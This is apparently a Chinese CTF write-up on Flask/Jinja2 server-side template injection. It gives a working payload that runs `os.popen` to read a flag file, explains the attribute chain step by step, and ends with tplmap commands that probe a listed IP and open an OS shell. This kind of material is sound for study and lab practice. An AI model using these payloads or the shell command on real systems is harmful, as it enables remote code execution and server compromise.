{{%20config.class.init.globals[%27os%27].popen(%27cat%20…/app/flag%27).read()%20}}
config为对象;
class:返回对象所属类;
init:类的初始方法,用以初始化实例;
globals(也可用func_globals):以字典返回内建模块;
OS就是返回字典里面的的一个模块
popen()返回一个输出流,通过read()读取里面的数据
payload的构造过程:
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。
git clone https://github.com/epinna/tplmap
cd tplmap
sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip
pip install -r requirements.txt
操作:
#探测注入点
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’
#获取shell
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’ --os-shell